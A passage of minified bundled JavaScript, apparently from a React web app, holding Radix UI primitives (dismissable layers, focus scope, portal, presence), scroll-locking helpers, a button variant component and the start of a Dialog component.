o=e[r],i=t[r];/^on[A-Z]/.test(r)?o&&i?n[r]=(...a)=>{i(...a),o(...a)}:o&&(n[r]=o):r==="style"?n[r]={...o,...i}:r==="className"&&(n[r]=[o,i].filter(Boolean).join(" "))}return{...e,...n}}function GS(e){var r,o;let t=(r=Object.getOwnPropertyDescriptor(e.props,"ref"))==null?void 0:r.get,n=t&&"isReactWarning"in t&&t.isReactWarning;return n?e.ref:(t=(o=Object.getOwnPropertyDescriptor(e,"ref"))==null?void 0:o.get,n=t&&"isReactWarning"in t&&t.isReactWarning,n?e.props.ref:e.props.ref||e.ref)}function n1(e){var t,n,r="";if(typeof e=="string"||typeof e=="number")r+=e;else if(typeof e=="object")if(Array.isArray(e))for(t=0;t<e.length;t++)e[t]&&(n=n1(e[t]))&&(r&&(r+=" "),r+=n);else for(t in e)e[t]&&(r&&(r+=" "),r+=t);return r}function qS(){for(var e,t,n=0,r="";n<arguments.length;)(e=arguments[n++])&&(t=n1(e))&&(r&&(r+=" "),r+=t);return r}const hv=e=>typeof e=="boolean"?"".concat(e):e===0?"0":e,pv=qS,fp=(e,t)=>n=>{var r;if((t==null?void 0:t.variants)==null)return pv(e,n==null?void 0:n.class,n==null?void 0:n.className);const{variants:o,defaultVariants:i}=t,s=Object.keys(o).map(u=>{const c=n==null?void 0:n[u],f=i==null?void 0:i[u];if(c===null)return null;const d=hv(c)||hv(f);return o[u][d]}),a=n&&Object.entries(n).reduce((u,c)=>{let[f,d]=c;return d===void 0||(u[f]=d),u},{}),l=t==null||(r=t.compoundVariants)===null||r===void 0?void 0:r.reduce((u,c)=>{let{class:f,className:d,...m}=c;return Object.entries(m).every(w=>{let[g,x]=w;return Array.isArray(x)?x.includes({...i,...a}[g]):{...i,...a}[g]===x})?[...u,f,d]:u},[]);return pv(e,s,l,n==null?void 0:n.class,n==null?void 0:n.className)},r1=fp("inline-flex items-center justify-center whitespace-nowrap rounded text-sm font-medium transition-colors focus-visible:outline-none focus-visible:ring-1 focus-visible:ring-ring disabled:pointer-events-none disabled:opacity-50",{variants:{variant:{default:"bg-primary text-primary-foreground shadow hover:bg-primary/90",destructive:"bg-destructive text-destructive-foreground shadow-sm hover:bg-destructive/90",outline:"border border-input bg-background shadow-sm hover:bg-accent hover:text-accent-foreground",secondary:"bg-secondary text-secondary-foreground shadow-sm hover:bg-secondary/80",ghost:"hover:bg-accent hover:text-accent-foreground",link:"text-primary underline-offset-4 hover:underline"},size:{default:"h-9 px-4 py-2",sm:"h-8 rounded px-3 text-xs",lg:"h-12 rounded-md px-8",icon:"h-9 w-9",iconSmall:"h-8 w-8"}},defaultVariants:{variant:"default",size:"default"}}),o1=h.forwardRef(({className:e,variant:t,size:n,asChild:r=!1,...o},i)=>{const s=r?_s:"button";return E.jsx(s,{className:Ze(r1({variant:t,size:n,className:e})),ref:i,...o})});o1.displayName="Button";function We(e,t,{checkForDefaultPrevented:n=!0}={}){return function(o){if(e==null||e(o),n===!1||!o.defaultPrevented)return t==null?void 0:t(o)}}function XS(e,t){const n=h.createContext(t);function r(i){const{children:s,...a}=i,l=h.useMemo(()=>a,Object.values(a));return E.jsx(n.Provider,{value:l,children:s})}function o(i){const s=h.useContext(n);if(s)return s;if(t!==void 0)return t;throw new Error(`\`${i}\` must be used within \`${e}\``)}return r.displayName=e+"Provider",[r,o]}function hi(e,t=[]){let n=[];function r(i,s){const a=h.createContext(s),l=n.length;n=[...n,s];function u(f){const{scope:d,children:m,...w}=f,g=(d==null?void 0:d[e][l])||a,x=h.useMemo(()=>w,Object.values(w));return E.jsx(g.Provider,{value:x,children:m})}function c(f,d){const m=(d==null?void 0:d[e][l])||a,w=h.useContext(m);if(w)return w;if(s!==void 0)return s;throw new Error(`\`${f}\` must be used within \`${i}\``)}return u.displayName=i+"Provider",[u,c]}const o=()=>{const i=n.map(s=>h.createContext(s));return function(a){const l=(a==null?void 0:a[e])||i;return h.useMemo(()=>({[`__scope${e}`]:{...a,[e]:l}}),[a,l])}};return o.scopeName=e,[r,JS(o,...t)]}function JS(...e){const t=e[0];if(e.length===1)return t;const n=()=>{const r=e.map(o=>({useScope:o(),scopeName:o.scopeName}));return function(i){const s=r.reduce((a,{useScope:l,scopeName:u})=>{const f=l(i)[`__scope${u}`];return{...a,...f}},{});return h.useMemo(()=>({[`__scope${t.scopeName}`]:s}),[s])}};return n.scopeName=t.scopeName,n}var kr=globalThis!=null&&globalThis.document?h.useLayoutEffect:()=>{},eE=Bg.useId||(()=>{}),tE=0;function Ki(e){const[t,n]=h.useState(eE());return kr(()=>{n(r=>r??String(tE++))},[e]),t?`radix-${t}`:""}function Ot(e){const t=h.useRef(e);return h.useEffect(()=>{t.current=e}),h.useMemo(()=>(...n)=>{var r;return(r=t.current)==null?void 0:r.call(t,...n)},[])}function Sl({prop:e,defaultProp:t,onChange:n=()=>{}}){const[r,o]=nE({defaultProp:t,onChange:n}),i=e!==void 0,s=i?e:r,a=Ot(n),l=h.useCallback(u=>{if(i){const f=typeof u=="function"?u(e):u;f!==e&&a(f)}else o(u)},[i,e,o,a]);return[s,l]}function nE({defaultProp:e,onChange:t}){const n=h.useState(e),[r]=n,o=h.useRef(r),i=Ot(t);return h.useEffect(()=>{o.current!==r&&(i(r),o.current=r)},[r,o,i]),n}var rE=["a","button","div","form","h2","h3","img","input","label","li","nav","ol","p","span","svg","ul"],$e=rE.reduce((e,t)=>{const n=h.forwardRef((r,o)=>{const{asChild:i,...s}=r,a=i?_s:t;return typeof window<"u"&&(window[Symbol.for("radix-ui")]=!0),E.jsx(a,{...s,ref:o})});return n.displayName=`Primitive.${t}`,{...e,[t]:n}},{});function oE(e,t){e&&zs.flushSync(()=>e.dispatchEvent(t))}function iE(e,t=globalThis==null?void 0:globalThis.document){const n=Ot(e);h.useEffect(()=>{const r=o=>{o.key==="Escape"&&n(o)};return t.addEventListener("keydown",r,{capture:!0}),()=>t.removeEventListener("keydown",r,{capture:!0})},[n,t])}var sE="DismissableLayer",jf="dismissableLayer.update",aE="dismissableLayer.pointerDownOutside",lE="dismissableLayer.focusOutside",mv,i1=h.createContext({layers:new Set,layersWithOutsidePointerEventsDisabled:new Set,branches:new Set}),hp=h.forwardRef((e,t)=>{const{disableOutsidePointerEvents:n=!1,onEscapeKeyDown:r,onPointerDownOutside:o,onFocusOutside:i,onInteractOutside:s,onDismiss:a,...l}=e,u=h.useContext(i1),[c,f]=h.useState(null),d=(c==null?void 0:c.ownerDocument)??(globalThis==null?void 0:globalThis.document),[,m]=h.useState({}),w=tt(t,P=>f(P)),g=Array.from(u.layers),[x]=[...u.layersWithOutsidePointerEventsDisabled].slice(-1),v=g.indexOf(x),p=c?g.indexOf(c):-1,y=u.layersWithOutsidePointerEventsDisabled.size>0,C=p>=v,_=dE(P=>{const T=P.target,O=[...u.branches].some(M=>M.contains(T));!C||O||(o==null||o(P),s==null||s(P),P.defaultPrevented||a==null||a())},d),b=fE(P=>{const T=P.target;[...u.branches].some(M=>M.contains(T))||(i==null||i(P),s==null||s(P),P.defaultPrevented||a==null||a())},d);return iE(P=>{p===u.layers.size-1&&(r==null||r(P),!P.defaultPrevented&&a&&(P.preventDefault(),a()))},d),h.useEffect(()=>{if(c)return n&&(u.layersWithOutsidePointerEventsDisabled.size===0&&(mv=d.body.style.pointerEvents,d.body.style.pointerEvents="none"),u.layersWithOutsidePointerEventsDisabled.add(c)),u.layers.add(c),vv(),()=>{n&&u.layersWithOutsidePointerEventsDisabled.size===1&&(d.body.style.pointerEvents=mv)}},[c,d,n,u]),h.useEffect(()=>()=>{c&&(u.layers.delete(c),u.layersWithOutsidePointerEventsDisabled.delete(c),vv())},[c,u]),h.useEffect(()=>{const P=()=>m({});return document.addEventListener(jf,P),()=>document.removeEventListener(jf,P)},[]),E.jsx($e.div,{...l,ref:w,style:{pointerEvents:y?C?"auto":"none":void 0,...e.style},onFocusCapture:We(e.onFocusCapture,b.onFocusCapture),onBlurCapture:We(e.onBlurCapture,b.onBlurCapture),onPointerDownCapture:We(e.onPointerDownCapture,_.onPointerDownCapture)})});hp.displayName=sE;var uE="DismissableLayerBranch",cE=h.forwardRef((e,t)=>{const n=h.useContext(i1),r=h.useRef(null),o=tt(t,r);return h.useEffect(()=>{const i=r.current;if(i)return n.branches.add(i),()=>{n.branches.delete(i)}},[n.branches]),E.jsx($e.div,{...e,ref:o})});cE.displayName=uE;function dE(e,t=globalThis==null?void 0:globalThis.document){const n=Ot(e),r=h.useRef(!1),o=h.useRef(()=>{});return h.useEffect(()=>{const i=a=>{if(a.target&&!r.current){let l=function(){s1(aE,n,u,{discrete:!0})};const u={originalEvent:a};a.pointerType==="touch"?(t.removeEventListener("click",o.current),o.current=l,t.addEventListener("click",o.current,{once:!0})):l()}else t.removeEventListener("click",o.current);r.current=!1},s=window.setTimeout(()=>{t.addEventListener("pointerdown",i)},0);return()=>{window.clearTimeout(s),t.removeEventListener("pointerdown",i),t.removeEventListener("click",o.current)}},[t,n]),{onPointerDownCapture:()=>r.current=!0}}function fE(e,t=globalThis==null?void 0:globalThis.document){const n=Ot(e),r=h.useRef(!1);return h.useEffect(()=>{const o=i=>{i.target&&!r.current&&s1(lE,n,{originalEvent:i},{discrete:!1})};return t.addEventListener("focusin",o),()=>t.removeEventListener("focusin",o)},[t,n]),{onFocusCapture:()=>r.current=!0,onBlurCapture:()=>r.current=!1}}function vv(){const e=new CustomEvent(jf);document.dispatchEvent(e)}function s1(e,t,n,{discrete:r}){const o=n.originalEvent.target,i=new CustomEvent(e,{bubbles:!1,cancelable:!0,detail:n});t&&o.addEventListener(e,t,{once:!0}),r?oE(o,i):o.dispatchEvent(i)}var _d="focusScope.autoFocusOnMount",kd="focusScope.autoFocusOnUnmount",gv={bubbles:!1,cancelable:!0},hE="FocusScope",a1=h.forwardRef((e,t)=>{const{loop:n=!1,trapped:r=!1,onMountAutoFocus:o,onUnmountAutoFocus:i,...s}=e,[a,l]=h.useState(null),u=Ot(o),c=Ot(i),f=h.useRef(null),d=tt(t,g=>l(g)),m=h.useRef({paused:!1,pause(){this.paused=!0},resume(){this.paused=!1}}).current;h.useEffect(()=>{if(r){let g=function(y){if(m.paused||!a)return;const C=y.target;a.contains(C)?f.current=C:Vr(f.current,{select:!0})},x=function(y){if(m.paused||!a)return;const C=y.relatedTarget;C!==null&&(a.contains(C)||Vr(f.current,{select:!0}))},v=function(y){if(document.activeElement===document.body)for(const _ of y)_.removedNodes.length>0&&Vr(a)};document.addEventListener("focusin",g),document.addEventListener("focusout",x);const p=new MutationObserver(v);return a&&p.observe(a,{childList:!0,subtree:!0}),()=>{document.removeEventListener("focusin",g),document.removeEventListener("focusout",x),p.disconnect()}}},[r,a,m.paused]),h.useEffect(()=>{if(a){wv.add(m);const g=document.activeElement;if(!a.contains(g)){const v=new CustomEvent(_d,gv);a.addEventListener(_d,u),a.dispatchEvent(v),v.defaultPrevented||(pE(wE(l1(a)),{select:!0}),document.activeElement===g&&Vr(a))}return()=>{a.removeEventListener(_d,u),setTimeout(()=>{const v=new CustomEvent(kd,gv);a.addEventListener(kd,c),a.dispatchEvent(v),v.defaultPrevented||Vr(g??document.body,{select:!0}),a.removeEventListener(kd,c),wv.remove(m)},0)}}},[a,u,c,m]);const w=h.useCallback(g=>{if(!n&&!r||m.paused)return;const x=g.key==="Tab"&&!g.altKey&&!g.ctrlKey&&!g.metaKey,v=document.activeElement;if(x&&v){const p=g.currentTarget,[y,C]=mE(p);y&&C?!g.shiftKey&&v===C?(g.preventDefault(),n&&Vr(y,{select:!0})):g.shiftKey&&v===y&&(g.preventDefault(),n&&Vr(C,{select:!0})):v===p&&g.preventDefault()}},[n,r,m.paused]);return E.jsx($e.div,{tabIndex:-1,...s,ref:d,onKeyDown:w})});a1.displayName=hE;function pE(e,{select:t=!1}={}){const n=document.activeElement;for(const r of e)if(Vr(r,{select:t}),document.activeElement!==n)return}function mE(e){const t=l1(e),n=yv(t,e),r=yv(t.reverse(),e);return[n,r]}function l1(e){const t=[],n=document.createTreeWalker(e,NodeFilter.SHOW_ELEMENT,{acceptNode:r=>{const o=r.tagName==="INPUT"&&r.type==="hidden";return r.disabled||r.hidden||o?NodeFilter.FILTER_SKIP:r.tabIndex>=0?NodeFilter.FILTER_ACCEPT:NodeFilter.FILTER_SKIP}});for(;n.nextNode();)t.push(n.currentNode);return t}function yv(e,t){for(const n of e)if(!vE(n,{upTo:t}))return n}function vE(e,{upTo:t}){if(getComputedStyle(e).visibility==="hidden")return!0;for(;e;){if(t!==void 0&&e===t)return!1;if(getComputedStyle(e).display==="none")return!0;e=e.parentElement}return!1}function gE(e){return e instanceof HTMLInputElement&&"select"in e}function Vr(e,{select:t=!1}={}){if(e&&e.focus){const n=document.activeElement;e.focus({preventScroll:!0}),e!==n&&gE(e)&&t&&e.select()}}var wv=yE();function yE(){let e=[];return{add(t){const n=e[0];t!==n&&(n==null||n.pause()),e=xv(e,t),e.unshift(t)},remove(t){var n;e=xv(e,t),(n=e[0])==null||n.resume()}}}function xv(e,t){const n=[...e],r=n.indexOf(t);return r!==-1&&n.splice(r,1),n}function wE(e){return e.filter(t=>t.tagName!=="A")}var xE="Portal",u1=h.forwardRef((e,t)=>{var a;const{container:n,...r}=e,[o,i]=h.useState(!1);kr(()=>i(!0),[]);const s=n||o&&((a=globalThis==null?void 0:globalThis.document)==null?void 0:a.body);return s?up.createPortal(E.jsx($e.div,{...r,ref:t}),s):null});u1.displayName=xE;function bE(e,t){return h.useReducer((n,r)=>t[n][r]??n,e)}var sr=e=>{const{present:t,children:n}=e,r=CE(t),o=typeof n=="function"?n({present:r.isPresent}):h.Children.only(n),i=tt(r.ref,SE(o));return typeof n=="function"||r.isPresent?h.cloneElement(o,{ref:i}):null};sr.displayName="Presence";function CE(e){const[t,n]=h.useState(),r=h.useRef({}),o=h.useRef(e),i=h.useRef("none"),s=e?"mounted":"unmounted",[a,l]=bE(s,{mounted:{UNMOUNT:"unmounted",ANIMATION_OUT:"unmountSuspended"},unmountSuspended:{MOUNT:"mounted",ANIMATION_END:"unmounted"},unmounted:{MOUNT:"mounted"}});return h.useEffect(()=>{const u=Gl(r.current);i.current=a==="mounted"?u:"none"},[a]),kr(()=>{const u=r.current,c=o.current;if(c!==e){const d=i.current,m=Gl(u);e?l("MOUNT"):m==="none"||(u==null?void 0:u.display)==="none"?l("UNMOUNT"):l(c&&d!==m?"ANIMATION_OUT":"UNMOUNT"),o.current=e}},[e,l]),kr(()=>{if(t){const u=f=>{const m=Gl(r.current).includes(f.animationName);f.target===t&&m&&zs.flushSync(()=>l("ANIMATION_END"))},c=f=>{f.target===t&&(i.current=Gl(r.current))};return t.addEventListener("animationstart",c),t.addEventListener("animationcancel",u),t.addEventListener("animationend",u),()=>{t.removeEventListener("animationstart",c),t.removeEventListener("animationcancel",u),t.removeEventListener("animationend",u)}}else l("ANIMATION_END")},[t,l]),{isPresent:["mounted","unmountSuspended"].includes(a),ref:h.useCallback(u=>{u&&(r.current=getComputedStyle(u)),n(u)},[])}}function Gl(e){return(e==null?void 0:e.animationName)||"none"}function SE(e){var r,o;let t=(r=Object.getOwnPropertyDescriptor(e.props,"ref"))==null?void 0:r.get,n=t&&"isReactWarning"in t&&t.isReactWarning;return n?e.ref:(t=(o=Object.getOwnPropertyDescriptor(e,"ref"))==null?void 0:o.get,n=t&&"isReactWarning"in t&&t.isReactWarning,n?e.props.ref:e.props.ref||e.ref)}var Rd=0;function EE(){h.useEffect(()=>{const e=document.querySelectorAll("[data-radix-focus-guard]");return document.body.insertAdjacentElement("afterbegin",e[0]??bv()),document.body.insertAdjacentElement("beforeend",e[1]??bv()),Rd++,()=>{Rd===1&&document.querySelectorAll("[data-radix-focus-guard]").forEach(t=>t.remove()),Rd--}},[])}function bv(){const e=document.createElement("span");return e.setAttribute("data-radix-focus-guard",""),e.tabIndex=0,e.style.cssText="outline: none; opacity: 0; position: fixed; pointer-events: none",e}var qn=function(){return qn=Object.assign||function(t){for(var n,r=1,o=arguments.length;r<o;r++){n=arguments[r];for(var i in n)Object.prototype.hasOwnProperty.call(n,i)&&(t[i]=n[i])}return t},qn.apply(this,arguments)};function c1(e,t){var n={};for(var r in e)Object.prototype.hasOwnProperty.call(e,r)&&t.indexOf(r)<0&&(n[r]=e[r]);if(e!=null&&typeof Object.getOwnPropertySymbols=="function")for(var o=0,r=Object.getOwnPropertySymbols(e);o<r.length;o++)t.indexOf(r[o])<0&&Object.prototype.propertyIsEnumerable.call(e,r[o])&&(n[r[o]]=e[r[o]]);return n}function _E(e,t,n){if(n||arguments.length===2)for(var r=0,o=t.length,i;r<o;r++)(i||!(r in t))&&(i||(i=Array.prototype.slice.call(t,0,r)),i[r]=t[r]);return e.concat(i||Array.prototype.slice.call(t))}var gu="right-scroll-bar-position",yu="width-before-scroll-bar",kE="with-scroll-bars-hidden",RE="--removed-body-scroll-bar-size";function Pd(e,t){return typeof e=="function"?e(t):e&&(e.current=t),e}function PE(e,t){var n=h.useState(function(){return{value:e,callback:t,facade:{get current(){return n.value},set current(r){var o=n.value;o!==r&&(n.value=r,n.callback(r,o))}}}})[0];return n.callback=t,n.facade}var TE=typeof window<"u"?h.useLayoutEffect:h.useEffect,Cv=new WeakMap;function NE(e,t){var n=PE(null,function(r){return e.forEach(function(o){return Pd(o,r)})});return TE(function(){var r=Cv.get(n);if(r){var o=new Set(r),i=new Set(e),s=n.current;o.forEach(function(a){i.has(a)||Pd(a,null)}),i.forEach(function(a){o.has(a)||Pd(a,s)})}Cv.set(n,e)},[e]),n}function OE(e){return e}function LE(e,t){t===void 0&&(t=OE);var n=[],r=!1,o={read:function(){if(r)throw new Error("Sidecar: could not `read` from an `assigned` medium. `read` could be used only with `useMedium`.");return n.length?n[n.length-1]:e},useMedium:function(i){var s=t(i,r);return n.push(s),function(){n=n.filter(function(a){return a!==s})}},assignSyncMedium:function(i){for(r=!0;n.length;){var s=n;n=[],s.forEach(i)}n={push:function(a){return i(a)},filter:function(){return n}}},assignMedium:function(i){r=!0;var s=[];if(n.length){var a=n;n=[],a.forEach(i),s=n}var l=function(){var c=s;s=[],c.forEach(i)},u=function(){return Promise.resolve().then(l)};u(),n={push:function(c){s.push(c),u()},filter:function(c){return s=s.filter(c),n}}}};return o}function AE(e){e===void 0&&(e={});var t=LE(null);return t.options=qn({async:!0,ssr:!1},e),t}var d1=function(e){var t=e.sideCar,n=c1(e,["sideCar"]);if(!t)throw new Error("Sidecar: please provide `sideCar` property to import the right car");var r=t.read();if(!r)throw new Error("Sidecar medium not found");return h.createElement(r,qn({},n))};d1.isSideCarExport=!0;function ME(e,t){return e.useMedium(t),d1}var f1=AE(),Td=function(){},Nc=h.forwardRef(function(e,t){var n=h.useRef(null),r=h.useState({onScrollCapture:Td,onWheelCapture:Td,onTouchMoveCapture:Td}),o=r[0],i=r[1],s=e.forwardProps,a=e.children,l=e.className,u=e.removeScrollBar,c=e.enabled,f=e.shards,d=e.sideCar,m=e.noIsolation,w=e.inert,g=e.allowPinchZoom,x=e.as,v=x===void 0?"div":x,p=e.gapMode,y=c1(e,["forwardProps","children","className","removeScrollBar","enabled","shards","sideCar","noIsolation","inert","allowPinchZoom","as","gapMode"]),C=d,_=NE([n,t]),b=qn(qn({},y),o);return h.createElement(h.Fragment,null,c&&h.createElement(C,{sideCar:f1,removeScrollBar:u,shards:f,noIsolation:m,inert:w,setCallbacks:i,allowPinchZoom:!!g,lockRef:n,gapMode:p}),s?h.cloneElement(h.Children.only(a),qn(qn({},b),{ref:_})):h.createElement(v,qn({},b,{className:l,ref:_}),a))});Nc.defaultProps={enabled:!0,removeScrollBar:!0,inert:!1};Nc.classNames={fullWidth:yu,zeroRight:gu};var DE=function(){if(typeof __webpack_nonce__<"u")return __webpack_nonce__};function jE(){if(!document)return null;var e=document.createElement("style");e.type="text/css";var t=DE();return t&&e.setAttribute("nonce",t),e}function IE(e,t){e.styleSheet?e.styleSheet.cssText=t:e.appendChild(document.createTextNode(t))}function zE(e){var t=document.head||document.getElementsByTagName("head")[0];t.appendChild(e)}var FE=function(){var e=0,t=null;return{add:function(n){e==0&&(t=jE())&&(IE(t,n),zE(t)),e++},remove:function(){e--,!e&&t&&(t.parentNode&&t.parentNode.removeChild(t),t=null)}}},$E=function(){var e=FE();return function(t,n){h.useEffect(function(){return e.add(t),function(){e.remove()}},[t&&n])}},h1=function(){var e=$E(),t=function(n){var r=n.styles,o=n.dynamic;return e(r,o),null};return t},UE={left:0,top:0,right:0,gap:0},Nd=function(e){return parseInt(e||"",10)||0},BE=function(e){var t=window.getComputedStyle(document.body),n=t[e==="padding"?"paddingLeft":"marginLeft"],r=t[e==="padding"?"paddingTop":"marginTop"],o=t[e==="padding"?"paddingRight":"marginRight"];return[Nd(n),Nd(r),Nd(o)]},VE=function(e){if(e===void 0&&(e="margin"),typeof window>"u")return UE;var t=BE(e),n=document.documentElement.clientWidth,r=window.innerWidth;return{left:t[0],top:t[1],right:t[2],gap:Math.max(0,r-n+t[2]-t[0])}},HE=h1(),Yi="data-scroll-locked",WE=function(e,t,n,r){var o=e.left,i=e.top,s=e.right,a=e.gap;return n===void 0&&(n="margin"),`
  .`.concat(kE,` {
   overflow: hidden `).concat(r,`;
   padding-right: `).concat(a,"px ").concat(r,`;
  }
  body[`).concat(Yi,`] {
    overflow: hidden `).concat(r,`;
    overscroll-behavior: contain;
    `).concat([t&&"position: relative ".concat(r,";"),n==="margin"&&`
    padding-left: `.concat(o,`px;
    padding-top: `).concat(i,`px;
    padding-right: `).concat(s,`px;
    margin-left:0;
    margin-top:0;
    margin-right: `).concat(a,"px ").concat(r,`;
    `),n==="padding"&&"padding-right: ".concat(a,"px ").concat(r,";")].filter(Boolean).join(""),`
  }
  
  .`).concat(gu,` {
    right: `).concat(a,"px ").concat(r,`;
  }
  
  .`).concat(yu,` {
    margin-right: `).concat(a,"px ").concat(r,`;
  }
  
  .`).concat(gu," .").concat(gu,` {
    right: 0 `).concat(r,`;
  }
  
  .`).concat(yu," .").concat(yu,` {
    margin-right: 0 `).concat(r,`;
  }
  
  body[`).concat(Yi,`] {
    `).concat(RE,": ").concat(a,`px;
  }
`)},Sv=function(){var e=parseInt(document.body.getAttribute(Yi)||"0",10);return isFinite(e)?e:0},ZE=function(){h.useEffect(function(){return document.body.setAttribute(Yi,(Sv()+1).toString()),function(){var e=Sv()-1;e<=0?document.body.removeAttribute(Yi):document.body.setAttribute(Yi,e.toString())}},[])},QE=function(e){var t=e.noRelative,n=e.noImportant,r=e.gapMode,o=r===void 0?"margin":r;ZE();var i=h.useMemo(function(){return VE(o)},[o]);return h.createElement(HE,{styles:WE(i,!t,o,n?"":"!important")})},If=!1;if(typeof window<"u")try{var ql=Object.defineProperty({},"passive",{get:function(){return If=!0,!0}});window.addEventListener("test",ql,ql),window.removeEventListener("test",ql,ql)}catch{If=!1}var Ei=If?{passive:!1}:!1,KE=function(e){return e.tagName==="TEXTAREA"},p1=function(e,t){var n=window.getComputedStyle(e);return n[t]!=="hidden"&&!(n.overflowY===n.overflowX&&!KE(e)&&n[t]==="visible")},YE=function(e){return p1(e,"overflowY")},GE=function(e){return p1(e,"overflowX")},Ev=function(e,t){var n=t.ownerDocument,r=t;do{typeof ShadowRoot<"u"&&r instanceof ShadowRoot&&(r=r.host);var o=m1(e,r);if(o){var i=v1(e,r),s=i[1],a=i[2];if(s>a)return!0}r=r.parentNode}while(r&&r!==n.body);return!1},qE=function(e){var t=e.scrollTop,n=e.scrollHeight,r=e.clientHeight;return[t,n,r]},XE=function(e){var t=e.scrollLeft,n=e.scrollWidth,r=e.clientWidth;return[t,n,r]},m1=function(e,t){return e==="v"?YE(t):GE(t)},v1=function(e,t){return e==="v"?qE(t):XE(t)},JE=function(e,t){return e==="h"&&t==="rtl"?-1:1},e_=function(e,t,n,r,o){var i=JE(e,window.getComputedStyle(t).direction),s=i*r,a=n.target,l=t.contains(a),u=!1,c=s>0,f=0,d=0;do{var m=v1(e,a),w=m[0],g=m[1],x=m[2],v=g-x-i*w;(w||v)&&m1(e,a)&&(f+=v,d+=w),a instanceof ShadowRoot?a=a.host:a=a.parentNode}while(!l&&a!==document.body||l&&(t.contains(a)||t===a));return(c&&(Math.abs(f)<1||!o)||!c&&(Math.abs(d)<1||!o))&&(u=!0),u},Xl=function(e){return"changedTouches"in e?[e.changedTouches[0].clientX,e.changedTouches[0].clientY]:[0,0]},_v=function(e){return[e.deltaX,e.deltaY]},kv=function(e){return e&&"current"in e?e.current:e},t_=function(e,t){return e[0]===t[0]&&e[1]===t[1]},n_=function(e){return`
  .block-interactivity-`.concat(e,` {pointer-events: none;}
  .allow-interactivity-`).concat(e,` {pointer-events: all;}
`)},r_=0,_i=[];function o_(e){var t=h.useRef([]),n=h.useRef([0,0]),r=h.useRef(),o=h.useState(r_++)[0],i=h.useState(h1)[0],s=h.useRef(e);h.useEffect(function(){s.current=e},[e]),h.useEffect(function(){if(e.inert){document.body.classList.add("block-interactivity-".concat(o));var g=_E([e.lockRef.current],(e.shards||[]).map(kv),!0).filter(Boolean);return g.forEach(function(x){return x.classList.add("allow-interactivity-".concat(o))}),function(){document.body.classList.remove("block-interactivity-".concat(o)),g.forEach(function(x){return x.classList.remove("allow-interactivity-".concat(o))})}}},[e.inert,e.lockRef.current,e.shards]);var a=h.useCallback(function(g,x){if("touches"in g&&g.touches.length===2)return!s.current.allowPinchZoom;var v=Xl(g),p=n.current,y="deltaX"in g?g.deltaX:p[0]-v[0],C="deltaY"in g?g.deltaY:p[1]-v[1],_,b=g.target,P=Math.abs(y)>Math.abs(C)?"h":"v";if("touches"in g&&P==="h"&&b.type==="range")return!1;var T=Ev(P,b);if(!T)return!0;if(T?_=P:(_=P==="v"?"h":"v",T=Ev(P,b)),!T)return!1;if(!r.current&&"changedTouches"in g&&(y||C)&&(r.current=_),!_)return!0;var O=r.current||_;return e_(O,x,g,O==="h"?y:C,!0)},[]),l=h.useCallback(function(g){var x=g;if(!(!_i.length||_i[_i.length-1]!==i)){var v="deltaY"in x?_v(x):Xl(x),p=t.current.filter(function(_){return _.name===x.type&&(_.target===x.target||x.target===_.shadowParent)&&t_(_.delta,v)})[0];if(p&&p.should){x.cancelable&&x.preventDefault();return}if(!p){var y=(s.current.shards||[]).map(kv).filter(Boolean).filter(function(_){return _.contains(x.target)}),C=y.length>0?a(x,y[0]):!s.current.noIsolation;C&&x.cancelable&&x.preventDefault()}}},[]),u=h.useCallback(function(g,x,v,p){var y={name:g,delta:x,target:v,should:p,shadowParent:i_(v)};t.current.push(y),setTimeout(function(){t.current=t.current.filter(function(C){return C!==y})},1)},[]),c=h.useCallback(function(g){n.current=Xl(g),r.current=void 0},[]),f=h.useCallback(function(g){u(g.type,_v(g),g.target,a(g,e.lockRef.current))},[]),d=h.useCallback(function(g){u(g.type,Xl(g),g.target,a(g,e.lockRef.current))},[]);h.useEffect(function(){return _i.push(i),e.setCallbacks({onScrollCapture:f,onWheelCapture:f,onTouchMoveCapture:d}),document.addEventListener("wheel",l,Ei),document.addEventListener("touchmove",l,Ei),document.addEventListener("touchstart",c,Ei),function(){_i=_i.filter(function(g){return g!==i}),document.removeEventListener("wheel",l,Ei),document.removeEventListener("touchmove",l,Ei),document.removeEventListener("touchstart",c,Ei)}},[]);var m=e.removeScrollBar,w=e.inert;return h.createElement(h.Fragment,null,w?h.createElement(i,{styles:n_(o)}):null,m?h.createElement(QE,{gapMode:e.gapMode}):null)}function i_(e){for(var t=null;e!==null;)e instanceof ShadowRoot&&(t=e.host,e=e.host),e=e.parentNode;return t}const s_=ME(f1,o_);var g1=h.forwardRef(function(e,t){return h.createElement(Nc,qn({},e,{ref:t,sideCar:s_}))});g1.classNames=Nc.classNames;var a_=function(e){if(typeof document>"u")return null;var t=Array.isArray(e)?e[0]:e;return t.ownerDocument.body},ki=new WeakMap,Jl=new WeakMap,eu={},Od=0,y1=function(e){return e&&(e.host||y1(e.parentNode))},l_=function(e,t){return t.map(function(n){if(e.contains(n))return n;var r=y1(n);return r&&e.contains(r)?r:(console.error("aria-hidden",n,"in not contained inside",e,". Doing nothing"),null)}).filter(function(n){return!!n})},u_=function(e,t,n,r){var o=l_(t,Array.isArray(e)?e:[e]);eu[n]||(eu[n]=new WeakMap);var i=eu[n],s=[],a=new Set,l=new Set(o),u=function(f){!f||a.has(f)||(a.add(f),u(f.parentNode))};o.forEach(u);var c=function(f){!f||l.has(f)||Array.prototype.forEach.call(f.children,function(d){if(a.has(d))c(d);else try{var m=d.getAttribute(r),w=m!==null&&m!=="false",g=(ki.get(d)||0)+1,x=(i.get(d)||0)+1;ki.set(d,g),i.set(d,x),s.push(d),g===1&&w&&Jl.set(d,!0),x===1&&d.setAttribute(n,"true"),w||d.setAttribute(r,"true")}catch(v){console.error("aria-hidden: cannot operate on ",d,v)}})};return c(t),a.clear(),Od++,function(){s.forEach(function(f){var d=ki.get(f)-1,m=i.get(f)-1;ki.set(f,d),i.set(f,m),d||(Jl.has(f)||f.removeAttribute(r),Jl.delete(f)),m||f.removeAttribute(n)}),Od--,Od||(ki=new WeakMap,ki=new WeakMap,Jl=new WeakMap,eu={})}},c_=function(e,t,n){n===void 0&&(n="data-aria-hidden");var r=Array.from(Array.isArray(e)?e:[e]),o=a_(e);return o?(r.push.apply(r,Array.from(o.querySelectorAll("[aria-live]"))),u_(r,o,n,"aria-hidden")):function(){return null}},pp="Dialog",[w1,eT]=hi(pp),[d_,zn]=w1(pp),x1=e=>{const{__scopeDialog:t,children:n,open:r,defaultOpen:o,onOpenChange:i,modal:s=!0}=e,a=h.useRef(null),l=h.useRef(null),[u=!1,c]=Sl({prop:r,defaultProp:o,onChange:i});return 